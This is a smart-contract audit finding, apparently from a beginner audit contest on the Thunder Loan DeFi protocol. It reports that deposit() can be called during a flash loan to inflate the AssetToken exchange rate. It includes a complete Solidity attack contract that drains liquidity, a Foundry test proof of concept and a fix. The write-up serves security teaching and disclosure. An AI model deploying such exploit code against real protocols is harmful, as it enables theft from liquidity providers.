Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Exchange Rate Manipulation via Deposit During Flash Loan

[H-2] Exchange Rate Manipulation via Deposit During Flash Loan

Description

The deposit() function in ThunderLoan.sol lacks a security guard to prevent it from being called while a flash loan is currently active. This oversight allows an attacker to maliciously artificially inflate the AssetToken exchange rate and subsequently withdraw significantly more funds than they deposited, effectively stealing liquidity from other providers.

The root cause is that deposit() blindly calls updateExchangeRate() to distribute fees:

Solidity

uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);

Because there is no check for s_currentlyFlashLoaning, an attacker can execute a massive deposit() from within the flash loan receiver's executeOperation() callback. The protocol incorrectly calculates a massive "fee" based on this huge deposit and adds it to the exchange rate. This fundamentally breaks the share math of the vault, allowing the attacker to redeem their pre-existing shares at a heavily artificially inflated exchange rate.

Risk

Severity: High

An attacker with minimal initial capital can drain the entire liquidity pool of the protocol. By artificially inflating the exchange rate during the flash loan callback and immediately redeeming their shares, the attacker creates an irreversible loss to all legitimate liquidity providers, resulting in a total protocol drain.

Proof of Concept

To successfully exploit this, the attacker must redeem their shares inside the flash loan callback after inflating the price, ensuring they have the underlying tokens to repay the flash loan.

Below is the fully functional and corrected execution sequence:

Solidity

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
contract ExchangeRateAttack is IFlashLoanReceiver {
ThunderLoan thunderLoan;
IERC20 token;
uint256 attackAmount;
constructor(address _thunderLoan, address _token) {
thunderLoan = ThunderLoan(_thunderLoan);
token = IERC20(_token);
}
function attack(uint256 _attackAmount) external {
attackAmount = _attackAmount;
// Step 1: Pre-deposit to buy AssetTokens at the normal, cheap exchange rate
token.approve(address(thunderLoan), 100e18);
thunderLoan.deposit(token, 100e18);
// Step 2: Take a massive flash loan to drain the pool
thunderLoan.flashloan(address(this), token, _attackAmount, "");
// Attack completes. Attacker now holds stolen funds.
}
function executeOperation(
address _token,
uint256 amount,
uint256 fee,
address,
bytes calldata
) external returns (bool) {
// Step 3: Deposit the flash-loaned amount to trigger the bug and inflate the exchange rate
IERC20(_token).approve(address(thunderLoan), amount);
thunderLoan.deposit(IERC20(_token), amount);
// Step 4: Redeem EVERYTHING (Pre-deposit + Flash loan deposit) at the newly inflated rate
// This is where the actual theft occurs, giving us enough tokens to repay the loan + profit
AssetToken assetToken = thunderLoan.getAssetFromToken(IERC20(_token));
uint256 assetBalance = assetToken.balanceOf(address(this));
thunderLoan.redeem(IERC20(_token), assetBalance);
// Step 5: Repay the flash loan
uint256 repayAmount = amount + fee;
IERC20(_token).approve(address(thunderLoan), repayAmount);
thunderLoan.repay(IERC20(_token), repayAmount);
return true;
}
}

Recommended Mitigation

To prevent exchange rate manipulation, add a strict state guard to the deposit() function to ensure it cannot be executed while a flash loan is active.

Add the following validation to ThunderLoan.sol:

Solidity

function deposit(IERC20 token, uint256 amount)
external
revertIfZero(amount)
revertIfNotAllowedToken(token)
{
// Add this guard:
if (s_currentlyFlashLoaning[token]) {
revert ThunderLoan__CurrentlyFlashLoaning();
}
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
// ... rest of function
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!